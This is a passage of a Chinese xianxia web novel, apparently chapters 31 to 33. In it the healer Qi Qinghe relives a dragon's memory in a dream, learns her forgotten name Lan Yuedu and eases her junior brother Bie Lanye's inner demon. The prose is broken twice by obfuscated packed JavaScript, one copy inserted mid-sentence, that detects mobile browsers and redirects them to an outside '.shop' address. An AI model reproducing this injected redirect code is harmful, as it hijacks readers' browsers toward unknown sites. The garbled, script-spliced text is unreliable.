不知何时,她手中幻化出了浸过药的干净纱布,她微微起身,凑上前去,双手虚环过他颈边,白纱绕上去,重新包扎他的鞭伤。 仿佛一个拥抱似的。 颈部是生灵最为脆弱之处。 尤其对于妖兽来说,战斗时咬断喉咙,是猎食袭击时原始本能,这份弱点暴露出来,就是将性命,拱手送上。 祈清和恍若未觉。 她只是非常专注地,替眼前的生灵包扎,治愈的灵力随着指尖缓缓溢出,那道鞭伤,也一点一点止了血。 应知离身形一僵,只觉得被祈清和触摸过的地方,都变得滚烫起来,这份灼热顺着颈部一路蔓延,先是脸颊,再是耳畔,想出声制止,就连声音,也被烫着了似的,变得喑哑。 可他贪恋这温存,舍不得出声打断。 祈清和微微叹气:“你真的好固执别扭。” 当初明明是他,带着她一次次入梦,渡化他人心魔,以此拼凑记忆。 可如今,又偏偏是他,仅因安危不定,就生了后悔的心思。 他藏着满心秘密,就连眼下伤,也是为了诓骗她的心软,才选择主动暴露出来的。 祈清和心中平静,将眼前人喉间纱布绕好后,撑着手半坐起来,与他拉开了几分距离。 应知离歪头,在她眸间反复探寻着,没瞧见不悦,心中定了定,忽然笑了。 他手一摊,掌心幻化出一只小小的,可爱精巧的毛毡来。 那是一只乖巧狡黠的雪豹。 “上次你没收,这次,它变得很好看了,你能不能,收下它。” 祈清和定定地打量着这个雪团子似的毛毡,头顶上一根细绳悬着,蓝黑相间的斑纹,眼睛灵动有神,耳朵软趴趴地耷拉着,显得无辜极了。 她此前一直不知这是用什么毛所制成的,如今再看,大概率能笃定了。 这是他薅自己的毛扎出来的。 想到这儿,祈清和不由得失笑。 比起上次的生涩,这次精湛的成果一看就知道,努力了很久,他扎了多久?扎的第几个?又薅了多少自己身上的毛? 趁着祈清和沉默的间隙,应知离得寸进尺,容不得拒绝,就将毛毡系在了她腰间。 “你都收燕鸟的羽毛了,能不能也收下我的?” 原来,是为了这个。 祈清和滚在嘴边,想拒绝的话,迟迟开不了口。 她明明收了替他包扎的手,可应知离却觉得,颈边那份灼热,一直没褪下去。 连带着,心也躁动起来。 在燕泽,应知离第一次见到祈清和打开那盒漂亮尾羽时,头一次萌生了,为什么自己不是一只鸟的荒唐想法。 他如果是只鸟,一定会从身上薅下最美丽的羽毛,天天送给她。 应知离看着自己身上细小密集,完全不能一根根拔下来的纯色毛发,失落叹气。 随之,他想到了人类的毛毡,完美符合他的需求。 于是他用了很久,去学习怎么扎毛毡,人类的工具,对他来说到底太过生疏,一不小心,就会扎破爪子。 也用了很久时间,他才懵懂明白,在见到祈清和拥有燕鸟羽毛时,所产生的酸意与不快是什么。 在人类情绪的划分中,那大抵,被称之为“嫉妒”。 祈清和并不知他所想,只觉得如果不同意,谁知道,他还要固执到什么地步 于是她妥协了,任由身上被系上这样一个格格不入的乖巧毛团。 “多谢。”想了想,祈清和目光里掺了笑意,又补了一句,“我很喜欢。” 小舟悠悠荡荡,擦着云下那滔天雷暴的万丈深渊将将划过,星河水波轻轻拍浪,载着二人即将驶离这片区域。 听得“喜欢”二字,应知离眸光亮起来,唇角扬起,喜悦漾开,可又不得不敛住,以防心事被人窥得一干二净。 得意过了头,尾巴从祈清和腰间松开,不自觉地一晃一晃。 祈清和与他对视了一会儿,垂眸,神情晦暗不定。 须臾,她抬手,指尖抵在应知离胸口位置,听着他急促慌乱的心跳,平淡一笑。 而后,不轻不重,轻轻一推。 身前的人不设防,她这一推,用了力,将二人的距离,拉开了好远,原本牵连纠葛的呼吸,也猝不及防,被扯开了。 来不及再看那人反应,祈清和撑着身子,从小舟边缘一翻,就那样毫无留恋地,从舟上,直直坠了下去。 她任由自己向雷鸣电掣地无底漩涡深渊中坠去。 周围云层翻涌,各种梦境声音嘈杂着。 ——“何为无情道?是以悲喜无谓,生死无谓。” 祈清和下坠的时候,她遥遥窥见,应知离眼睛里复杂的,明灭不定的伤戚,就像,有好多话要对她说似的。 可无论想说什么,她都并不在意。 ——“无牵挂,无羁绊,心怀万物生灵,超脱因果,再不入红尘。” 祈清和想,应知离说的确实没错,这世间,皆因人心贪嗔痴疑慢,掀起苦难劫数。 但无论如何,都不能因为苦难寻常,就视若无睹。 ——“入无情道者,皆三千心锁,加诸己身。” 应知离站在云舟上,静默无声,眼睫微微颤动,方才喜悦热意霎时熄灭,如坠冰窖。 他其实可以强硬地救下她的,只需轻轻一挥手,就能召来一片梦境,在她坠入噩梦前接住她。 可他知道,哪怕救上来,她还会再一次选择跳下去。 他尊重她的每一次选择。 只是,心里的泛起的难过悲伤,压不住,翻江倒海地淹没了所有知觉。 作为妖,他一直能看见,能听见,一些人类所无法得见的景象。 譬如他能轻而易举看见心魔,看见他人梦境,甚至听见他人愿望心声。 “当啷当啷——” 譬如此时此刻,他听见了,来自祈清和身上,数千道无形无相的,锁链声音。 他听得一清二楚。 “当啷当啷——” 他知道那是什么。 正因为知道,他才会一直想方设法,解开悬在她心上的,沉重冰凉的枷锁。 可无济于事。 从始至终,兵荒马乱的,只有他一人。 水纹一晃,万物皆变。 祈清和坠入无底噩梦深渊,耳畔被隆隆雷声震得嗡鸣。 来不及睁眼,她整个人霎时被一股强大无比的气流掀翻出去,在沙砾上滚了好几圈,紧接着,撞到了一块石壁,砰地一声,被粗糙冷硬,撞得背上一疼。 祈清和睁开眼,撑着手坐起来。 “轰隆——” 大雨倾覆,眼前,是漫无边际的汹涌海浪,天色阴暗浑浊,雷电火光滔天,祈清和缓过神志清明,撑着石壁,勉强站起身来。 这里是……九重渊? 她检查了一下身上,浅白道服,除了一块令牌外,一无所有,连灵力修为都少得可怜,几乎同凡人无异。 连轻功,都无法使用。 哦,应知离送她的毛毡,也跟着一道带了进来。 祈清和摘下腰间的那块木质令牌,定睛一看,这正是属于不问都弟子的,人手一块的宗门令牌,只是款式与材质,都更老更旧。 这里是六百年前的九重渊。 祈清和收起令牌,思忖着此前看过的,对这段年岁的记载。 是骊龙暴动,谢家降妖,不问都最凶险的一次宗门历练。 在这场战乱中,不问都弟子,仅一人生还。 身上疼痛久久不散,她走了几步,瞥见不远处,漆黑昏暗的沙砾石地处,好像躺着一个人。 来不及多想,祈清和加快了步伐,走上前去,半蹲下查看那人伤势。 也是一位身穿道服的修士,腰边挂着的令牌裂成两半,浑身浴血,心脉尽断,皮开肉绽伤可见骨,生命力在急速地流逝,毫无挽回的可能。 银针、伤药,都无济于事,她救不了眼前人。 那修士从昏死中醒来,撑着最后一线清醒,看到眼前人,想说话,却吐出一口鲜血,于是声音,便支离破碎含混不清。 “小……小师妹,你还活着,太好了。” “快躲起来,我,我已想办法通知了师门,五天后,就会有人来,来……救你了。” 最后一丝生机,彻底消弭。 眼前人在她面前死去。 祈清和默然,她心中叹气,抬头,朝着汹涌的海面望去。 沙地、海浪、天空皆是绝望可怖的黑色,杀戮与血腥剥夺空气,让人胃里一酸,几欲发吐,再向远看,到处都是尸体,狼藉一片卷在海里岸边,天空中一时火光大亮,一时雷电交加。 躲?躲到哪里去? 海面上隐约显着数百龙形身影,裹着电钧火光,与云层中如马似鹿的犼妖厮杀,随着赤焰席卷,不少骊龙纷纷倒下,坠落于海中。 她走了几步,想离开这危险之地,却因为这身体修为不佳,实在走得慢。 海浪愈发澎湃,遽然,一道道滔天流火在交战混乱中自天边向她的方向袭来,祈清和看见了,可她却没有任何抵抗的能力,这一火焰击中于此,她必死无疑。 为什么这身体修为会这么差?连现实里她断了大半经脉的那体质,都比不上。 不,不是身体差。 祈清和想,不如说,是更像一个刚刚入仙途不久,尚不适应修炼的凡人。 在更前方一点,伫立着高耸入云嶙峋峭壁,巨石险崖,祈清和想,只要能躲到那里去,就还有一线生机。 她努力沿着 32.却是有晴 祈清和朦朦胧胧睁开眼时,发觉自己被一个人背着。 身前温暖的皮肤触感传来,乌发青丝间裹挟着浅浅花香,背着她的人,一步一步走得很稳,祈清和莫名觉得安心,挨着这个人的肩膀,阖眸眷恋了一会儿。 而后,她缓缓睁开眼,问道。 “你是……谁?” 背着她的人是位女子。 祈清和偏着头,只能勉强看见眼前人的一隅容颜。 好眼熟……总感觉,在哪里见过? 听见背上的人呢喃着醒来,模模糊糊地问话,女子先是一喜,而后回眸担忧道。 “我是你南音师姐,江南音。” 南音。 祈清和反复默念了几遍,确认自己并不记得这个名字。 她眨了眨眼,看清了江南音的模样。 温婉端庄的眉眼,芜绿罗裙,仿佛画里最为婷婷玉立的大家闺秀,嫣然一顾,尘世如土。 见祈清和迟迟没有说话,江南音担忧加剧了几分。 “你别睡,陪师姐说说话。” 祈清和愣了一下,抬头环顾,只见她们走在一处山间小道里,而身边,模样只有六七岁的别澜夜牵着自己的衣摆,一路跟随。 她竟然还在别澜夜的梦里。 “你再坚持一下,还有一小会儿,我们就快到传仙台了,马上就能回师门。” 一提起师门二字,祈清和默然,原来,九重渊历练中,她能死里逃生得以生还。 是因为,江南音救了她。 祈清和声音一酸,喑哑道:“抱歉,师姐……我……” 她要怎么告诉这位师姐,其他同门,已惨遭不测? “你别自责,我们回去再说。”江南音托着她的手抬了抬,声音里满是后怕,“师兄他们去寻找其他幸存者了,别怕,有师姐在呢。” 祈清和埋着头,额间滚烫,腰间伤口未愈,此刻只觉得胃里翻江倒海地想吐。 她知道,没有其他幸存者了。 她能做到的,就是从这场暴乱中,救下一个孩子。 想到这儿,祈清和轻声道:“我们能带他,回去么?” 攥着她衣摆的,小孩儿的手一紧。 这个小孩儿江南音一看就明白是怎么回事,她心中一酸,泛起难过,勉强笑道。 “好,不问都虽清贫,但多养个人吃饭,还是没问题的。” 听了这声应答,祈清和放下心来,眉眼倦怠,扑天困意再度袭来。 可是她努力撑着清醒,还不想睡。 “师姐,我想问问……你知道我的名字吗……” 她实在太想知道这个问题的答案了,从燕泽一路苦苦追寻至此,岁月仿佛风沙般湮没了她过往痕迹,连名字,都得在梦里才能寻到。 可这话实在突兀,连名字都不记得,倒像是显得她病糊涂了似的,江南音眉目一顿,停下了脚步,挨着一棵树,将祈清和从身上放下来,半蹲下检查她的伤势。 “小师妹,你……” 长风呼啸而过,话来不及说完,就听得草丛里传来窸窣声,几只犼兽踏出来,鼻间喷着气息,带着独属于猎食者的凶恶,它们盯着眼前三个人,贪婪垂涎。 别澜夜浑身颤抖,咬着牙,却没后退,一双小手张开,将祈清和拢在身后。 祈清和靠坐在树下,冷汗涔涔,实在没有力气,思绪沉浮间,她看见,江南音足尖一顿,站在她与别澜夜身前,腰间一对双剑出鞘。 那双剑一眼便知不是凡品,剑锋凌厉,随着持剑者一招一式,绛红流光震动,不出须臾,犼兽挨了重伤,狼狈逃窜。 看着那轻盈灵动的身姿,祈清和终于明悟过来,方才,为何看这位陌生女子,十分眼熟了。 她曾在沈北歌身上,见过极其相似的剑法。 也直至现在,她也才迟迟发觉,这位南音师姐,眉眼间亦与沈北歌有着五分相似。 一念起,百念纷杂。 呼吸都有些急促,祈清和挣扎着想站起身,思绪再难平静,千言万语涌上来,一时不知从而究起。 她记得,沈北歌有一位失踪多年的姐姐。 这位姐姐原是被选定进入无患塔参与试验的弟子,沈北歌不忍心,暗中替了姐姐的名额,在无患塔内,挨了五年的苦,还中了毒,因毒发陷入沉睡。 她的姐姐,为了替妹妹解毒,离开沈家,外出寻药,后来携并蒂花而归,再不知所踪。 那并蒂双花,一朵在沈北歌身上,另一朵,不知因而留在了归梦药堂里。 祈清和并不在乎他人凡尘因果,所以从未问过这其间细节,也从未问过沈北歌,她的姐姐叫什么名字。 犼兽被驱逐,江南音收了剑,几步走上前来,蹙着眉,用帕子一点一点拭去祈清和额间冷汗。 祈清和轻扯了一下江南音的袖子,问道:“师姐,你以前,是不是姓沈?” 她其实是想问,你是不是,有个妹妹。 可思绪太急,所以连问题,都慌不择言的,没了分寸逻辑。 江南音见她眉目失神,还以为出了什么事,如今心中一松,不由得失笑道:“是,我以前姓沈,后来离家,便随母姓。” 可疑惑更多了。 祈清和还压着好多问题,她想知道,梦里的这个时间节点,是什么时候?江南音是否已寻到并蒂花?最后又因何不知所踪? 你知不知道,你的妹妹一直在找你? 心里一急,咳嗽就止不住,震着神识隐隐作痛,一句话都说不出来。 江南音重新替她处理好了外伤,将人背起来,同时领着别澜夜,继续往前走。 周遭的景色忽明忽暗,恍了一瞬,祈清和思绪一点一点下沉,她心里懊恼,来不及了,这场漫长噩梦快熄灭了。 头一次,她不愿从梦中醒来。 她还有好多问题没问。 江南音说话的声音很好听,像百花徐徐绽开,恬淡柔软。 “小师妹,你方才问我,还记不记得,你的名字。” 祈清和意识逐渐淡出,眼帘阖着,半梦半醒间,她听到江南音温柔道。 “我怎么会忘。” 江南音一字一句缓缓念着,眉梢眼角,满是笑意。 “月渡。” “你随师父姓,其姓为兰。” 你有一个,很好听的名字。 兰月渡。 祈清和眉梢微动,最后的意识一点一滴抽离,彻底陷入沉睡。 这个梦,熄灭了。 再睁眼时,她仍躺在一泓星河载着的云舟里,应知离坐在舟头,神色平静,似乎有些恹恹的,可尾巴却顺着云彩探过来,搭在她手腕上,没松开。 祈清和扬眉,清浅一笑:“生气了?” 应知离沉默地看了她好久,轻轻叹了一声,问道:“你……有想起什么吗?” 他本来想说。 是,我很生气。 我讨厌你孤身一人从不留恋,讨厌你对我的试探、利用、毫不在乎。 他本来准备了满腹不满措辞,准备她醒来时,一股脑儿的告诉她,你不可以这样对我。 可是当她睁开眼时,所有的埋怨,全在嘴边转了一圈儿,灰溜溜地逃了。 于是那满腔措辞全都狼狈地变成了一句。 你有想起什么吗? 祈清和一只手搭在额间,仰望着绚烂绮丽的清梦夜空,失落地笑了笑。 “没有。” 她什么都没有想起。 包括那个名字,她没有一丝一毫的熟悉感。 所有的一切,都仿佛一个久远的故事。 兰、月、渡。 真的会有失忆至如此彻底的人吗? 她都认了这个身份,甚至身临其境般在梦里经历了那一段过往。 依旧什么都想不起来。 祈清和阖着眸,任凭空虚无助在心中弥漫,敛了笑意。 但没关系,她会坚持,她能找回一切。 她非要让自己想起一切不可。 宁静悠然的清梦安抚了她的精神,祈清和撑着手,坐起来,认真道:“我得去找别澜夜。” “我知道他的心魔所困为何了。” 可是,有一个难题。 别澜夜与世家如今皆在九重渊,她没有日行万里之能,眼下赶过去,只怕已是迟之晚矣。 应知离似乎也没有这般疾行的能力。 仿佛看出了她的心事似的,应知离顿了顿,低沉道。 “我确实没办法……瞬间让你立即赶到九重渊。” 他声音一缓,犹豫几番,又解释道。 “但是,梦里可以。” “我此行邀你,长夜游梦,早已是行过四海九洲,历见红尘世人梦。” 祈清和凝着他,眸光微怔。 紧接着,只见应知离云淡风轻地,一语道了个石破天惊的消息。 “我见九重渊那些人打得实在厉害。” “所以,干脆将他们全拖进梦里了。” …… 祈清和顿时凝噎。 什么叫,把人全部拖进梦里了? 那里的仙家尊者不知何几,法力高深之人亦不在少数,他拉这么多人入梦,居然干得无知无觉吗? 祈清和心中想了好一会儿措辞,是她认为的那种,催眠吗? 应知离丝毫不觉他到底干了件多么震撼离谱之事,理所当然道。 “那些人神识疲倦不稳,心有破绽,当然需要好好休息。” …… 祈清和无法反驳。 应知离指尖一点,流光溢开,于是云舟载着他们破开重重层云,穿风而过,直至来到一处乌云笼罩密布,和九重渊一般无二的天地里。 而在这极像九重渊的地方,所有人齐齐陷入沉睡,水平浪静,雷止火熄,一切都仿佛时光停驻静止了般,天地失声。 别澜夜半悬在海浪之上,闭目沉睡。 祈清和从云舟上站起来,星辰绵延成一条浅浅河道,她轻轻一迈,跨出小舟,平稳地站在光里。 江天一色,星光托着她,仿佛托着一弯皎皎月华。 祈清和神色一动,沿着水流,一步一步向着别澜夜走去。 能不能化解他的心魔,祈清和没有十足的把握。 现在只能祈祷,她这位什么都不记得的师姐,在他眼里,或许,还能勉强有鸿毛分量了。 风无声无息卷起衣袂,祈清和自天边阴云中,沿着星河,走向海浪半空中。 应知离站在云舟上,目送着她,越来越远。 小梦不知从何处溜了过来,噗嗤一声凭空显现,戳了戳这位心情明显不太愉悦的雪中君,促狭道。 「喂,你不是很讨厌别澜夜?怎么还任由堂主帮他?」 应知离瞥了它一眼,反问道:“谁让你发布了这次诊疗任务?” 「不能怪我嘛,我又不是一只神通广大的房灵,哪里能认出青道镇的‘常夜’是假的啊。」 小梦说得有些心虚,它当时只觉得——哇这人心魔真重!简直是从天而降的功德! 于是本着帮堂主解锁玉简的心思,迫不及待地颁布了任务。 应知离垂眸,自嘲一笑,回答了最开始的问题:“与其说是讨厌,不如说很嫉妒。” “嫉妒他是清和的师弟。” “嫉妒他仗着师弟的身份,能那样理直气壮地陪在她身边,陪了好多年。” 嫉妒他的昔日过往仅仅揭开只言片语。 可哪怕只是因这一鳞半爪,清和却甘愿再次去救他。 「哦,我看话本里写,一般嫉妒后,都会想方设法构陷对方的。」 说到这儿,小梦的眼睛亮一瞬,原地飞了个圈儿,有点期待,像个调皮捣蛋的孩子。 「怎么样!我们来暗搓搓搞一些只有坏人才会干的事?」 应知离摇摇头。 「你不是一直知道堂主的过去?为什么不直接告诉她算了,还让她兜兜转转自己找了好大一圈。」 小梦非常不理解,双手叉腰,又气鼓鼓地看着他。 应知离笑道:“我知道的并不全,比如青道镇,比如骊龙往事,我也是时至今日才自梦中窥见一二。” “再者,清和想要的,是‘想起’,不是‘告知’。” 他嫉妒别澜夜与清和的过往,而他不愿干涉阻挠的原因,也正是这份过往。 别澜夜是清和的师弟,是清和在此世红尘的羁绊。 清和那样想找回自己的身份、故事、记忆。 所以一切私心在此刻都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12704136|123701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无关紧要,他唯一所做的最大胆的阻拦,也就是在云舟上,想让她留下而已。 别澜夜的心魔,早已生了五百余年。 应知离嗤笑,他知道,这位流窜于世的凶兽,心魔一直是因祈清和而生。 他眸光微沉,视线望着茫茫江海。 祈清和走了很远,已经离别澜夜,很近很近。 别澜夜阖着的眼睫微微一动。 只一瞬,他就明白过来,自己已然入梦,不必说,又是应知离那家伙干得好事。 可还没来得及愤怒,他抬头,只见浩瀚星海中,有一人穿过黑暗,衣袂翩飞,如海中漾开的鳍尾,她神情温和,徐徐走来。 那个人的模样、眉眼、身形皆与五百多年前,一丝不差。 别澜夜恍然,记忆好像又回到很多很多年前,他于战乱血海中躲藏于海底,躲在深海之下无穷无尽的黑暗中,哭得狼狈不堪。 他那时想着,干脆和亲人们一起死去,不要剩他一人孤零零的。 反正这个世间,那么烂,那么令人恶心厌倦,一点都不值得留恋,干脆一起毁灭算了。 可就在那个时候,他抬头,于石板缝隙间,见到了一抹月色。 他从来没见过那样好看明亮的月色。 那个人白衣乌发,眉梢带笑,就这样,在他的记忆里,停留了好多年。 而记忆与现实重叠,恰如此时此刻,青衫如画的女子站在他面前,浅浅一笑。 他的小师姐,兰月渡。 别澜夜眼眶微红,非常不争气地心中一酸。 他知道自己心魔因何而起,是几百年来被抛弃的思念,凝成了化不开的执念,绕在心间。 但他就是舍不得斩杀这心魔,舍不得斩断这场“噩梦”。 因为梦里,师姐还在。 多年的思念铺天盖地砸下来,别澜夜再站不住,扑通一声,径直跪在星河里,星光被惊得微微漾开,涟漪轻荡,两个人的倒影被掠的一圈绕一圈。 “小师姐。” 他开口唤她,声音沙哑,微微颤抖。 这一跪,倒是将祈清和吓一跳,她心中有点不知所措,面上仍旧强作镇定。 是啊,她怎么忘了,在他们眼里,她从不是“祈清和”。 她是“兰月渡”。 忘记一切的兰月渡。 祈清和指尖微微攥紧,她心中思索着作为“兰月渡”应该有什么样的反应情绪。 她应该感动?惊讶?还是悲伤? 可是她现在,什么情绪都没有。 祈清和被自己的冷漠微微怔住。 她能清晰的感觉到,自己现在的心绪,仍旧平静无波,与无患塔前面对上千心魔时的淡然,与离开燕泽的毫无留恋,与在青道镇的无悲无喜时,毫无分别。 是不是因为,她记不得一切? 可理智告诉她,她现在哪怕模仿,也要模仿出一份情绪来,不然干巴巴的情绪反馈,她拿什么化解别澜夜的心魔? 祈清和顺着已有线索想了一遍。 别澜夜的心魔非常简单。 抛弃。 家族倾覆、族人蒙冤,被自己救下后于不问都修行,却因身份败露,为世间所不容,不得不出逃宗门,与昔日同门划清干系。 半生漂泊,无家可归。 他仿佛是被红尘排挤嫌弃的异类,想当个人,因血脉种族不被接纳,想当个凶兽,却又做不到彻底的残忍狠绝。 她当年救下他,是不是反而害了他? 于是她定了定神,低声道。 “我以为,你会恨我。” 这话让别澜夜瞬间慌了神,他跪着,往前挪了一步,仰起头来看她,容色惊慌。 连说话的声音,都急促了。 “不是的,师姐,我等了你好久好久。” 我想了你几百年。 声音顿住,放缓了,像个做错事的孩子一般,一字一句,都是难过委屈。 “所以,又怎么可能去……恨你呢。” 别澜夜垂眸,努力敛起此前为清剿世家,所残存的一身杀伐戾气,还有挥之不去的血腥气。 这一怯懦,就更像个做错事还欲盖弥彰的孩子了。 “我只是,偶尔觉得这个世界,烂透了。” “被唾弃,驱逐,人人都恨不得除之后快,好像,没人不憎恶我。” 祈清和静静听着,思忖了一会儿,半跪下来,让自己与别澜夜对视。 这是她目前第一次认真打量别澜夜真实的模样。 正如不问都弟子所言,剑眉金眸,眼尾一点红痣,压不住一身阴郁狠戾的气度,若再妖化一点,配上一对龙角,几枚鳞片,模样就更妖异诡谲了。 这样一想,确实蛮容易吓到人的。 祈清和笑了笑,温声道:“不是的。” “有时候,这个世间确实糟糕透了,糟到误以为自己被所有人都厌倦抛弃,误以为自己站在了整个世界的对面。” “但其实不是这样的,在人生这条路上,你只需要,走得再远一点点。” “你会发现,或许并没那么多人恨你,你行走于芸芸众生,也不过是芸芸众生中最平凡一息。” 别澜夜柔软的乌发自额间垂落,祈清和抬手,将它们拂在别澜夜耳后,轻笑道。 “比如现在,你若真的不想活了,早早地拉着这个世界一起陪葬,可那样,就等不到我回来了,对不对?” “别澜夜”这个名字,从不是愿你心存绝望。 祈清和想了想,歉意地笑了笑。 尽管这个笑,是她模仿出来的情绪。 “很抱歉,让你流浪了好久。” “不问都的人一直都不讨厌你,他们随时随地,欢迎你回家。” 别澜夜愣愣地看着祈清和,心神动荡,说不出话,连呼吸都忘了,这几百年间的弥漫在心头的杂念愧对,曾无处安放,压了太久,压得他喘不过气。 就在他真的撑不下去,承不住时,他的小师姐再次出现在他身边,于是一切怨怼,就这样被轻飘飘的几句话,吹得烟消云散了。 仿佛又回到儿时,他蜷缩在黑暗里,等了好久。 直至一幕月光,穿海而来。 「检测诊疗已完成,玉简八十六号已发放。」 33.月渡无尘 天要亮了。 别澜夜跪在星海里,仰头不语,他看见地平线下的炙热烧得天际半边透亮,于是星海云雾,梦一般,裹挟着小师姐熟悉的眉眼逐渐洇没消散。 “师姐,小师姐……!” 这几声呼唤苦涩难咽,他清晰地知道这是一场梦境,不是错觉,可情绪濒临失控,他没法不贪恋,没法不沉沦,甚至希望这场梦永不熄灭。 但谁都做不到,留住一场梦呀。 别澜夜想,小师姐还活着,那她现在在哪儿呢?这么多年,她去了哪里?过得好不好? 眉心蹙着,攥紧了手中长鞭,一绷紧,身上的伤又渗出血,顺着指尖淌下。 这个梦太短了,短得像个错觉似的。 梦醒后,他仍在九重渊,命悬一线,百家仙门围堵,他抱着同归于尽的念头,掀起滔天灾难。 …… 「所以这个故事最后怎么样了?」 小梦睁大了眼睛,坐在不问都太一山树下的石桌上,听得兴致勃勃,仿佛在听一场说书评话似的。 祈清和不太确定,扒拉着手中灵镜上的消息,犹疑道:“听说是静娴仙子千钧一发之际赶到九重渊,带走了别澜夜。” 「哇哦,她去得好快!要是再晚一点,那位骊龙怕是不死也会重伤?」 小梦无心随口一说,倒让祈清和蓦地想起,那天晚上,是应知离云淡风轻地将所有人都拉入梦境,才延缓了这场战乱。 她抬眸看向正坐在另一侧的应知离,问道:“你故意的?” “不是。” 应知离眨眨眼,心道他才没那么好心,去保骊龙的命,当然这话不可能直白说出来。 他只是觉得,那样好的机会,他可以小小利用一下,万一骊龙的梦能让祈清和想起什么呢? 所以他邀祈清和游历清梦,又引她至噩梦深渊前。 当然,也是临近那深渊,他才知此梦具体内容,才知凶险异常,当即生了反悔的心思。 可来不及了,最终结果便是,他见到清和与那人羁绊,于是平白生了一腔嫉妒。 「那,那谢家怎么办?他们好坏!仙盟会彻查他们吗?」 “这个……”祈清和扶额,这个问题,她也不知道答案。 小梦满怀期待地看着她,祈清和正打算另想个话题糊弄过去,就听得一道爽朗无畏的大笑响起。 “哈哈哈哈家人们!我又回来了!” 常夜正乘着一个飞行法器幽幽晃晃从不远处驶来,他跃下法器,一脸阔别良久热泪盈眶的模样。 “家人们我改名回来了!今后请叫我常过,自此我的修炼生涯吉人天相必不可能再挂科!” 小梦被吓得跐溜一声瞬间消失。 祈清和一顿,脑中没来由冒出一个念头玩笑。 考试期间,请叫我过儿。 行吧,也是挺好的一个名字,此后艰难险阻,顺遂常过。 只见常夜……哦,常过道友顾不得一身风尘仆仆,收了飞行法器,说起另一桩事来。 “我这次回来路上见到师父了,她应该是带骊龙回了仙盟。” 祈清和想起方才小梦好奇的问题,便询问道:“那些仙门世家呢?” “嗯?”常过挠挠头,不解道,“他们应当没什么事儿吧?虽然我也讨厌谢家,但讨伐凶兽这事儿明面上挑不出错的。” 祈清和蹙眉道:“可骊龙并非凶恶至极,谢家是为一己私利而屠杀。” 这话一出,她蓦地顿住。 她记得,在青道镇时,应知离也曾问过她一个极其类似的问题。 如果凶兽有苦衷呢?仙盟会像对待犯错的人类那样,展开调查吗? 答案是不会。 人类蒙受不白之冤时,都有走投无路难以诉冤的可能,更何况是妖了。 “哦对了。”话题聊至此处,常过忽然郑重道,“师父还托我给祈姑娘你带句话。” 他皱着眉想了想,又说道。 “师父说,那位骊龙,哦按照师门辈分他算我太师叔祖?算了我也理不清这关系,不重要,总之就是那位骊龙,想见你。” 祈清和眸光一诧:“见我?” 常过也很莫名:“对,祈姑娘你认识他吗?” 祈清和这才想起,别澜夜曾与她在青道镇时,有过一面之缘,而也是那次,她将“祈清和”这个名字告诉了对方。 他为什么想见她? 要不要去见他? 祈清和思忖,如果她是遗忘了一切的兰月渡,那别澜夜应当是自己师弟,可见到他后呢?师门重聚?故友叙旧?听他讲述一个又一个她所不知道的陌生过往? 可比起这些,在不问都,她还有更想知道答案的问题。 所以祈清和垂眸,摇了摇头:“帮我回个信吧,不必见了,他只是……” “病人而已。” 渡人者医人医心,无关他想,一切感激妄念,也无关要紧。 “行,那我去回信。”常过点点头,随后又问道,“对了,祈姑娘你此行来不问都的目的完成了吗?不是说找人?” 祈清和一愣,点头道:“对,找一个……名叫兰月渡的弟子,还没找到。” 如果有机会,她还想找一下江南音这个人。 但江南音的线索在梦里出现的太过短暂了,一时半会儿也解释不清楚,祈清和思忖着,等寻到笃定的信息,再告知沈北歌。 “嘶……兰月渡这名字真耳熟,让我想想办法。” 常过只觉得这名字背后所揭露的人物呼之欲出,不由得抓耳挠腮,他应当在哪里听过,甚至是见过! 可在哪儿见过呢? 他负手原地转了几圈,一拍手,自信道:“走我们去相盈山,就是谢桓道友目前所在处,请惠长老帮忙,他最闲的慌……不是,最为古道热肠!” 也不知道谢桓怎么样了。 常过二话不说,施法再召来最开始载着众人来此的那白玉亭,领着祈清和与应知离二人站上去,令牌一刷,于是白玉亭再度悬空腾飞,悠哉悠哉穿云过山,向着相盈山乘风而去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12745305|123701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “相盈山山主惠顾长老,是我们不问都极有资历的长老之一,虽然脾气不太好,但学识广博,弟子们有困难他是真的会帮忙啊!” 每每想到这儿,常过不禁泪洒涛涛湘江水,就是因为脾气不太好,所以他才挂科了啊! 相盈山一派山木树石繁茂,蕴着葱蔚烟润之气,涧声叮咚如乐,遥遥望去,只见学堂书庐不少弟子往来络绎,亭台校舍处亦是人头攒动。 最近几日正是相盈山最热闹的时候,常过招呼了一声,让祈清和与应知离先在山门凉亭处休憩片刻,他去办理入山手续登记。 “虚无生自然,自然生大道……” 山门凉亭里聚着不少手持书卷碎碎背诵的弟子,抑扬顿挫的声音此起彼伏,祈清和走进去,顿觉自己无所事事格格不入。 不过这个想法很快就被打消了。 因为在凉亭最外侧,仰躺着一位选择以书覆面只露出下半脸颊,放肆呼呼大睡的紫衣修士。 一副放弃挣扎,更为格格不入的模样。 快至晌午,璀璨的光芒盛大磅礴,透过亭间一角洒下来,勾勒出这位懒散修士瓷玉般漂亮硬朗的下颚。 祈清和饶有兴致地打量着这位看起来最为闲散的修士。 他衣着华贵,睡得逍遥自在,既不背书温习,亦全然不顾自己是否影响他人,而反观凉亭内其他背书弟子,也不曾出言干涉此人,只是个个严阵以待专注背书,毫无懈怠之意。 看了半天,祈清和顺着那些修士背书的句子,忽然神来一句:“虚无生自然,无我相者,才得见恶果。” “错啦。” 